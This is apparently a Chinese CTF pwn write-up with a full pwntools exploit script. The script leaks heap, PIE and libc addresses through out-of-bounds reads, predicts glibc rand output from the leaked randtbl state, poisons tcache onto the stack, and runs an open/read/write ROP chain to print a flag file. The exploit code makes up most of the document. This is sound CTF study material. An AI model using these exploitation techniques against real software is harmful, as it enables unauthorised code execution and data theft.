c 复制代码
struct link_map
  {
    /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */

    ElfW(Addr) l_addr;          /* Difference between the address in the ELF file and the addresses in memory. */
    char *l_name;               /* Absolute file name object was found in. */
    ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object. */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
  };

遍历link_map,对比l_name,找到目标之后,就可以通过l_addr获得那个库的基址,当然,前提是二进制文件需要有DT_DEBUG。

通过show,先泄露r_debug地址(ld地址), 遍历linkmap寻找后发现libc的link_map与泄露的ld地址有固定偏移,然后计算偏移,下次show即可泄露(感觉泄露libc地址直接输出got表就行)

随机数

  • struct random_data *buf: 包含随机数生成器状态的结构体。
  • int32_t *result: 指向存储生成的随机数的变量。
c 复制代码
int
__random_r (struct random_data *buf, int32_t *result)
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      uint32_t val;

      val = *fptr += (uint32_t) *rptr;
      /* Chucking least random bit.  */
      *result = val >> 1;
      ++fptr;
      if (fptr >= end_ptr)
	{
	  fptr = state;
	  ++rptr;
	}
      else
	{
	  ++rptr;
	  if (rptr >= end_ptr)
	    rptr = state;
	}
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}

weak_alias (__random_r, random_r)

#define	TYPE_3		3
#define	BREAK_3		128
#define	DEG_3		31
#define	SEP_3		3

static struct random_data unsafe_state =
  {
/* FPTR and RPTR are two pointers into the state info, a front and a rear
   pointer.  These two pointers are always rand_sep places apart, as they
   cycle through the state information.  (Yes, this does mean we could get
   away with just one pointer, but the code for random is more efficient
   this way).  The pointers are left positioned as they would be from the call:
	initstate(1, randtbl, 128);
   (The position of the rear pointer, rptr, is really 0 (as explained above
   in the initialization of randtbl) because the state table pointer is set
   to point to randtbl[1] (as explained below).)  */

    .fptr = &randtbl[SEP_3 + 1],
    .rptr = &randtbl[1],

/* The following things are the pointer to the state information table,
   the type of the current generator, the degree of the current polynomial
   being used, and the separation between the two pointers.
   Note that for efficiency of random, we remember the first location of
   the state information, not the zeroth.  Hence it is valid to access
   state[-1], which is used to store the type of the R.N.G.
   Also, we remember the last location, since this is more efficient than
   indexing every time to find the address of the last element to see if
   the front and rear pointers have wrapped.  */

    .state = &randtbl[1],

    .rand_type = TYPE_3,
    .rand_deg = DEG_3,
    .rand_sep = SEP_3,

    .end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

参考汇编和源码后大致逻辑如下

  1. rand_type默认为TYPE_3,故不是直接采用线性同余产生随机数
  2. 队头fptr 自加队尾值rptr ,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。(fptr刚开始为第4个,总共32个,所以需要调用rand很多次才可能进入fptr >= end_ptr,所以当前edit可以认为都是else情况)

调用一次rand后fptr 和rptr 都后移四

这里泄露fptr 和rptr 和fptr +0x10的内容(正好八个)

思路

  1. size是0x90,free一个,然后show可以泄露heap地址
  2. nouse输满\xff,然后show负越界泄露pie地址,进而能够得到heap_list的起始地址
  3. 然后show正越界泄露r_debug地址(也可以直接泄露got内的libc地址),然后根据r_debug地址偏移得到libc的link_map地址所在的地址,再得到和pie上的heap_list的偏移来show泄露libc地址
  4. 然后根据libc地址得到&randtbl[1+3]所在的地址和&randtbl[1]的地址所在的地址(unsafe_state 中有即&unsafe_state 和&unsafe_state +8),然后show泄露randtbl的内容(fptr 和rptr 和fptr +0x10的内容,每个泄露四个 泄露environ栈地址同理)或者也可以用edit_name写libc地址和show负越界来泄露
  5. 然后根据rand函数和泄露的randtbl来绕过rand
    然后每次rand后会将fptr当前值和rptr当前值相加给fptr,由于fptr的数组和rptr的数组都是一直往右走的,由于我们最后输入八个字节到heap的next区域,所以此时根据处理函数会进行循环两次,总共八次rand,fptr和rptr移动八次,fptr这里是够的,所以最后更新的相加的值加到rptr后面
  6. 最后分配到将栈地址进行相关rand处理,然后分配到栈上去,注意选择栈地址要保证对齐,不断往小尝试,这里将分配到read函数的返回地址所在的栈的位置处
    .
    .
    这里直接利用read函数残留的寄存器再次调用read的系统调用,而且地址就是刚刚调用过的

然后再次调用read先填充之前的,直到当前的ret对应的返回地址才开始rop

exp

python 复制代码
from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'




binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
#continue
'''.format(**locals())

io = process("./pwn")


def add(idx):
    ru('>>>')
    s(p32(0x48260A))
    ru('idx:')
    s(p8(idx))

def edit(idx,text):
    ru('>>>')
    s(p32(0x4E430A))
    ru('idx:')
    s(p8(idx))
    ru('input: ')
    s(text)

def show(idx):
    ru('>>>')
    s(p32(0x54460A))
    ru('idx:')
    s(p64(idx)[:-1])
   
    ru('ciphertext: ')

def rm(idx):
    ru('>>>')
    s(p32(0x7B7D0A))
    ru('idx:')
    s(p8(idx))

def edit_name(name):
    ru('>>>')
    s(p32(0x50460A))
    ru('>>> ')
    s(p32(0x65646974))
    ru(': ')
    s(name)

def show_name():
    ru('>>>')
    s(p32(0x50460A))
    ru('>>> ')
    s(p32(0x73686F77))

def backdoor(text):
    ru('>>>')
    s(p32(0x62640A))
    s(text)

def rdata():
    ru('=============================\n')
    data = bytes.fromhex(rl().decode().replace(' ',''))
    return data

add(0)
add(1)
rm(0)
rm(1)

show(0)
data = rdata()
key  = uu64(data[:8])
heap_addr = key << 0xC

lss('heap_addr')

backdoor('\xff'*0x38)


show((1<<64)-0x13)

elf_base = uu64(rdata()[:8]) - 16392

heap_list = elf_base + 0x40A0
lss('heap_list')


show(1068)

libc_ptr= uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558


lss('libc_ptr')

# leak libc_base
offset = (libc_ptr - heap_list) // 8
show(offset)
libc_base  = uu64((rdata()[:8]))
lss('libc_base')

print("libc",libc_base)


ptr1 = libc_base + 2205792 #   &randtbl[1+3]
ptr2 = libc_base + 2205792 + 8 # &randtbl[1]
lss('ptr1')
lss('ptr2')
offset = (ptr1 - heap_list) // 8

show(offset) # randtbl[1+3] 4 content
data1  = rdata()

offset = (ptr2 - heap_list) // 8

show(offset) # randtbl[1] 4 content
data2  = rdata()


print("data1",data1)
print("data2",data2)

environ = libc_base + libc.sym['environ']
offset = libc_base + 2204196 # unsafe_state
lss('environ')
lss('offset')
name = p64(offset) + p64(environ)[:-2]
edit_name(name)



backdoor('\xff'*0x38)
show((1<<64)-0xC)
data3  = rdata()
print(data3) # randtbl[1+3+4] 4 content


backdoor('\xff'*0x38)
show((1<<64)-0xb)
stack  = uu64(rdata()[:8]) - 8 # name+8

lss('stack')



edx = [ uu32(data1[_:_+4]) for _ in range(0,len(data1),4)]
ecx = [ uu32(data2[_:_+4]) for _ in range(0,len(data2),4)]

tmp = [ uu32(data3[_:_+4]) for _ in range(0,len(data3),4)]
print(ecx)
print(edx)
print(tmp)

edx += tmp


unsafe_state = 0
def me_rand(): # 直接gdb 跟进 rand() 看看随机数是怎么生成的,
    global unsafe_state
    i = unsafe_state
    print(ecx)
    print(edx)
    ecx_ = ecx[i]
    edx_ = edx[i]
    eax = ecx_ + edx_
    eax = eax & 0xFFFFFFFF
    print('add',eax)
    ecx.append(1)
    ecx[i+3] = eax
    eax = eax >> 1
    eax = eax & 0xFFFFFFFF
    print(hex(eax))
    unsafe_state += 1
    return eax
#队头自加队尾值,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。

def encrypto(eax):
    v5 = me_rand() % 703710
    v6 = me_rand() ^ v5
    v2 = (v6 + me_rand() + v5) & 0xFFFFFFFF
    eax ^= v2 - me_rand()
    return eax

ret_stack = ((stack-0x190)^ key)
low  = encrypto(ret_stack & 0xFFFFFFFF)
high = encrypto(ret_stack >> 32 ) << 32

expdata = high + low

print(expdata)


gdb.attach(io)

edit(1,p64(expdata))

add(2)
add(3)

pause()
rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rdi = libc_base + 0x2a3e5 # pop rdi ; ret
rsi = libc_base + 0x02be51 # pop rsi ; ret
syscall = libc_base + libc.sym['read'] + 16 # syscall

pay  =  b"a"*0x28
pay += p64(rax) + p64(0)    # 0x38
pay += p64(rdx) + p64(0x1000)*2 # 0x50
pay += p64(syscall)
edit(3,pay)

# #define __NR_openat2 437

flag_addr = stack-0x68

pay  = b'b' * 0x58 #
pay += p64(rax) + p64(0x101) + p64(rdi) + p64(rax) + p64(0x101) + p64(rdi)+p64(0xffffffffffffff9c) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) * 2 + p64(syscall)
pay += p64(rdi) + p64(3) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['read'])
pay += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['write'])
pay += b'./flag'.ljust(0x8,b'\x00')

sl(pay)
io.interactive()
相关推荐
CH13hh9 天前
常回家看看之Tcache Stashing Unlink Attack
pwn·ctf
想拿 0day 的脚步小子16 天前
从ctfwiki开始的pwn之旅 5.ret2csu
pwn
centos082 个月前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
Mr_Fmnwon2 个月前
【我的 PWN 学习手札】House of Roman
pwn·ctf·heap
A5rZ2 个月前
ctf-pwn: 数组越界
pwn·ctf
雪痕春风天音九重色2 个月前
Re:从零开始的pwn学习(栈溢出篇)
pwn·ctf·栈溢出
Brinmon2 个月前
BUU刷题-Pwn-codegate2018_melong(ARM的ret2libc)
arm开发·arm·pwn·ctf
Brinmon2 个月前
HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
网络安全·pwn·ctf
波克比QWQ2 个月前
malloc源码分析之 ----- 你想要啥chunk
笔记·pwn·堆入门
Mr_Fmnwon3 个月前
【我的 PWN 学习手札】tcache stash unlink
pwn·ctf·heap·tcache